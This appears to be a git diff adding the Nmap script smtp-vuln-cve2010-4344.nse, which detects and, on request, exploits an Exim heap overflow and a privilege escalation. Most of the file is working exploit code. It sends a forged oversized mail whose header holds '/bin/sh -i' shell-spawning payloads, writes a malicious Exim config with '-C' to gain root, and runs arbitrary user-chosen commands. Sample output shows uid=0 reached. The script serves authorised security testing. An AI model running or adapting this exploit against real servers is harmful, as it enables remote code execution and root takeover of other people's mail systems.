summaryrefslogtreecommitdiffstats
path: root/scripts/smtp-vuln-cve2010-4344.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/smtp-vuln-cve2010-4344.nse')
-rw-r--r--scripts/smtp-vuln-cve2010-4344.nse461
1 files changed, 461 insertions, 0 deletions
diff --git a/scripts/smtp-vuln-cve2010-4344.nse b/scripts/smtp-vuln-cve2010-4344.nse
new file mode 100644
index 0000000..537e4ea
--- /dev/null
+++ b/scripts/smtp-vuln-cve2010-4344.nse
@@ -0,0 +1,461 @@
+local math = require "math"
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Checks for and/or exploits a heap overflow within versions of Exim
+prior to version 4.69 (CVE-2010-4344) and a privilege escalation
+vulnerability in Exim 4.72 and prior (CVE-2010-4345).
+
+The heap overflow vulnerability allows remote attackers to execute
+arbitrary code with the privileges of the Exim daemon
+(CVE-2010-4344). If the exploit fails then the Exim smtpd child will
+be killed (heap corruption).
+
+The script also checks for a privilege escalation vulnerability that
+affects Exim version 4.72 and prior. The vulnerability allows the exim
+user to gain root privileges by specifying an alternate configuration
+file using the -C option (CVE-2010-4345).
+
+The <code>smtp-vuln-cve2010-4344.exploit</code> script argument will make
+the script try to exploit the vulnerabilities, by sending more than 50MB of
+data, it depends on the message size limit configuration option of the
+Exim server. If the exploit succeed the <code>exploit.cmd</code> or
+<code>smtp-vuln-cve2010-4344.cmd</code> script arguments can be used to
+run an arbitrary command on the remote system, under the
+<code>Exim</code> user privileges. If this script argument is set then it
+will enable the <code>smtp-vuln-cve2010-4344.exploit</code> argument.
+
+To get the appropriate debug messages for this script, please use -d2.
+
+Some of the logic of this script is based on the metasploit
+exim4_string_format exploit.
+* http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format
+
+Reference:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345
+]]
+
+---
+-- @usage
+-- nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>
+-- nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 25/tcp open smtp
+-- | smtp-vuln-cve2010-4344:
+-- | Exim heap overflow vulnerability (CVE-2010-4344):
+-- | Exim (CVE-2010-4344): VULNERABLE
+-- | Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux
+-- | Exim privileges escalation vulnerability (CVE-2010-4345):
+-- | Exim (CVE-2010-4345): VULNERABLE
+-- | Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)
+-- |_ After 'id': uid=0(root) gid=128(Debian-exim) groups=0(root)
+--
+-- @args smtp-vuln-cve2010-4344.exploit The script will force the checks,
+-- and will try to exploit the Exim SMTP server.
+-- @args smtp-vuln-cve2010-4344.mailfrom Define the source email address to
+-- be used.
+-- @args smtp-vuln-cve2010-4344.mailto Define the destination email address
+-- to be used.
+-- @args exploit.cmd or smtp-vuln-cve2010-4344.cmd An arbitrary command to
+-- run under the <code>Exim</code> user privileges on the remote
+-- system. If this argument is set then, it will enable the
+-- <code>smtp-vuln-cve2010-4344.exploit</code> argument.
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service({25, 465, 587},
+ {"smtp", "smtps", "submission"})
+
+local function smtp_finish(socket, status, msg)
+ if socket then
+ smtp.quit(socket)
+ end
+ return status, msg
+end
+
+local function get_exim_banner(response)
+ local banner, version
+ banner = response:match("%d+%s(.+)")
+ if banner then
+ version = tonumber(banner:match("Exim%s([0-9%.]+)"))
+ end
+ return banner, version
+end
+
+local function send_recv(socket, data)
+ local st, ret = socket:send(data)
+ if st then
+ st, ret = socket:receive_lines(1)
+ end
+ return st, ret
+end
+
+-- Exploit the privileges escalation vulnerability CVE-2010-4345.
+-- return true, results (shell command results) If it was
+-- successfully exploited.
+local function escalate_privs(socket, smtp_opts)
+ local exploited, results = false, ""
+ local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
+ local exim_run = "exim -C"..tmp_file.." -q"
+ local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
+ tmp_file.."' }}"
+
+ stdnse.debug2("trying to escalate privileges")
+
+ local status, ret = send_recv(socket, "id\n")
+ if not status then
+ return status, ret
+ end
+ results = string.format(" Before 'id': %s",
+ string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
+
+ status, ret = send_recv(socket,
+ string.format("cat > %s << EOF\n",
+ tmp_file))
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, exim_spool.."\nEOF\n")
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, exim_run.."\n")
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, string.format("cat %s\n", tmp_file))
+ if not status then
+ return status, ret
+ elseif ret:match("uid=0%(root%)") then
+ exploited = true
+ results = results..string.format("\n After 'id': %s",
+ string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
+ stdnse.debug2("successfully exploited the Exim privileges escalation.")
+ end
+
+ -- delete tmp file, should we care about this ?
+ socket:send(string.format("rm -fr %s\n", tmp_file))
+ return exploited, results
+end
+
+-- Tries to exploit the heap overflow and the privilege escalation
+-- Returns true, exploit_status, possible values:
+-- nil Not vulnerable
+-- "heap" Vulnerable to the heap overflow
+-- "heap-exploited" The heap overflow vulnerability was exploited
+local function exploit_heap(socket, smtp_opts)
+ local exploited, ret = false, ""
+
+ stdnse.debug2("exploiting the heap overflow")
+
+ local status, response = smtp.mail(socket, smtp_opts.mailfrom)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.recipient(socket, smtp_opts.mailto)
+ if not status then
+ return status, response
+ end
+
+ -- send DATA command
+ status, response = smtp.datasend(socket)
+ if not status then
+ return status, response
+ end
+
+ local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
+ local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
+ local log_host = string.format("%s(%s)",
+ smtp_opts.ehlo_host ~= smtp_opts.domain and
+ smtp_opts.ehlo_host.." " or "",
+ smtp_opts.domain)
+ log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
+ "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
+ log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
+ msg_len, smtp_opts.size, smtp_opts.mailfrom,
+ smtp_opts.mailto)
+
+ log_buf_size = log_buf_size - 3
+ local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
+
+ while #log_buf < log_buf_size do
+ local hdr = string.format("%s: %s\n", nmap_hdr, filler)
+ local one = 2 + #hdr
+ local two = 2 * one
+ local left = log_buf_size - #log_buf
+ if left < two and left > one then
+ left = left - 4
+ local first = left / 2
+ hdr = string.sub(hdr, 0, first - 1).."\n"
+ hdrs = hdrs..hdr
+ log_buf = log_buf.." "..hdr
+ local second = left - first
+ hdr = string.format("%s: %s\n", nmap_hdr, filler)
+ hdr = string.sub(hdr, 0, second - 1).."\n"
+ end
+ hdrs = hdrs..hdr
+ log_buf = log_buf.." "..hdr
+ end
+
+ local hdrx = "HeaderX: "
+ for i = 1, 50 do
+ for fd = 3, 12 do
+ hdrx = hdrx..
+ string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
+ fd)
+ end
+ end
+
+ local function clean(socket, status, msg)
+ socket:close()
+ return status, msg
+ end
+
+ stdnse.debug1("sending forged mail, size: %.fMB", msg_len / (1024*1024))
+
+ -- use low socket level functions.
+ status, ret = socket:send(hdrs)
+ if not status then
+ return clean(socket, status, "failed to send hdrs.")
+ end
+
+ status, ret = socket:send(hdrx)
+ if not status then
+ return clean(socket, status, "failed to send hdrx.")
+ end
+
+ status, ret = socket:send("\r\n")
+ if not status then
+ return clean(socket, status, "failed to terminate headers.")
+ end
+
+ local body_size = 0
+ filler = string.rep(string.rep("Nmap", 63).."XX\r\n", 1024)
+ while body_size < msg_len do
+ body_size = body_size + #filler
+ status, ret = socket:send(filler)
+ if not status then
+ return clean(socket, status, "failed to send body.")
+ end
+ end
+
+ status, response = smtp.query(socket, "\r\n.")
+ if not status then
+ if string.match(response, "connection closed") then
+ -- the child was killed (heap corruption).
+ return true, "heap"
+ else
+ return status, "failed to terminate the message."
+ end
+ end
+
+ status, ret = smtp.check_reply("DATA", response)
+ if not status then
+ local code = tonumber(ret:match("(%d+)"))
+ if code ~= 552 then
+ smtp.quit(socket)
+ return status, ret
+ end
+ end
+
+ stdnse.debug2("the forged mail was sent successfully.")
+
+ -- second round
+ status, response = smtp.query(socket, "MAIL",
+ string.format("FROM:<%s>", smtp_opts.mailfrom))
+ if not status then
+ return status, response
+ end
+
+ status, ret = smtp.query(socket, "RCPT",
+ string.format("TO:<%s>", smtp_opts.mailto))
+ if not status then
+ return status, ret
+ end
+
+ if response:match("sh:%s") or ret:match("sh:%s") then
+ stdnse.debug2("successfully exploited the Exim heap overflow.")
+ exploited = "heap-exploited"
+ end
+
+ return true, exploited
+end
+
+-- Checks if the Exim server is vulnerable to CVE-2010-4344
+local function check_exim(smtp_opts)
+ local out, smtp_server = {}, {}
+ local exim_heap_ver, exim_priv_ver = 4.69, 4.72
+ local exim_default_size, nmap_scanme_ip = 52428800, '64.13.134.52'
+ local heap_cve, priv_cve = 'CVE-2010-4344', 'CVE-2010-4345'
+ local heap_str = "Exim heap overflow vulnerability ("..heap_cve.."):"
+ local priv_str = "Exim privileges escalation vulnerability ("..priv_cve.."):"
+ local exim_heap_result, exim_priv_result = "", ""
+
+ local socket, ret = smtp.connect(smtp_opts.host,
+ smtp_opts.port,
+ {ssl = true,
+ timeout = 8000,
+ recv_before = true,
+ lines = 1})
+
+ if not socket then
+ return smtp_finish(nil, socket, ret)
+ end
+
+ table.insert(out, heap_str)
+ table.insert(out, priv_str)
+
+ smtp_server.banner, smtp_server.version = get_exim_banner(ret)
+ if smtp_server.banner then
+ smtp_server.smtpd = smtp_server.banner:match("Exim")
+ if smtp_server.smtpd and smtp_server.version then
+ table.insert(out, 1,
+ string.format("Exim version: %.02f", smtp_server.version))
+
+ if smtp_server.version > exim_heap_ver then
+ exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
+ heap_cve)
+ else
+ exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
+ heap_cve)
+ end
+
+ if smtp_server.version > exim_priv_ver then
+ exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
+ priv_cve)
+ else
+ exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
+ priv_cve)
+ end
+
+ else
+ return smtp_finish(socket, true,
+ 'The SMTP server is not Exim: NOT VULNERABLE')
+ end
+ else
+ return smtp_finish(socket, false,
+ 'failed to read the SMTP banner.')
+ end
+
+ if not smtp_opts.exploit then
+ table.insert(out, 3, exim_heap_result)
+ table.insert(out, 5, exim_priv_result)
+ table.insert(out,
+ "To confirm and exploit the vulnerabilities, run with"..
+ " --script-args='smtp-vuln-cve2010-4344.exploit'")
+ return smtp_finish(socket, true, out)
+ end
+
+ -- force the checks and exploit the program
+ local status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return smtp_finish(nil, status, response)
+ end
+
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
+ smtp_opts.ehlo_host, smtp_opts.domain_ip =
+ line:match("%d.-Hello%s(.*)%s%[([^]]*)%]")
+ end
+ if not smtp_server.size then
+ smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
+ end
+ end
+
+ if not smtp_server.size then
+ smtp_server.size = exim_default_size
+ else
+ smtp_server.size = tonumber(smtp_server.size)
+ end
+ smtp_opts.size = smtp_server.size
+
+ -- use 'nmap.scanme.org' IP address
+ if not smtp_opts.domain_ip then
+ smtp_opts.domain_ip = nmap_scanme_ip
+ end
+
+ -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
+ if not smtp_opts.mailfrom then
+ smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
+ end
+ if not smtp_opts.mailto then
+ smtp_opts.mailto = string.format("postmaster@%s",
+ smtp_opts.host.targetname and
+ smtp_opts.host.targetname or 'localhost')
+ end
+
+ status, ret = exploit_heap(socket, smtp_opts)
+ if not status then
+ return smtp_finish(nil, status, ret)
+ elseif ret then
+ exim_heap_result = string.format(" Exim (%s): VULNERABLE",
+ heap_cve)
+ exim_priv_result = string.format(" Exim (%s): VULNERABLE",
+ priv_cve)
+ if ret:match("exploited") then
+ -- clear socket
+ socket:receive_lines(1)
+ if smtp_opts.shell_cmd then
+ status, response = send_recv(socket,
+ string.format("%s\n", smtp_opts.shell_cmd))
+ if status then
+ exim_heap_result = exim_heap_result ..
+ string.format("\n Shell command '%s': %s",
+ smtp_opts.shell_cmd,
+ string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
+ end
+ end
+
+ status, response = escalate_privs(socket, smtp_opts)
+ if status then
+ exim_priv_result = exim_priv_result.."\n"..response
+ end
+ socket:close()
+ end
+ else
+ exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
+ heap_cve)
+ end
+
+ table.insert(out, 3, exim_heap_result)
+ table.insert(out, 5, exim_priv_result)
+ return true, out
+end
+
+action = function(host, port)
+ local smtp_opts = {
+ host = host,
+ port = port,
+ domain = stdnse.get_script_args('smtp.domain') or
+ 'nmap.scanme.org',
+ mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
+ mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
+ exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
+ shell_cmd = stdnse.get_script_args('exploit.cmd') or
+ stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
+ }
+ if smtp_opts.shell_cmd then
+ smtp_opts.exploit = true
+ end
+ local status, output = check_exim(smtp_opts)
+ if not status then
+ stdnse.debug1("%s", output)
+ return nil
+ end
+ return stdnse.format_output(status, output)
+end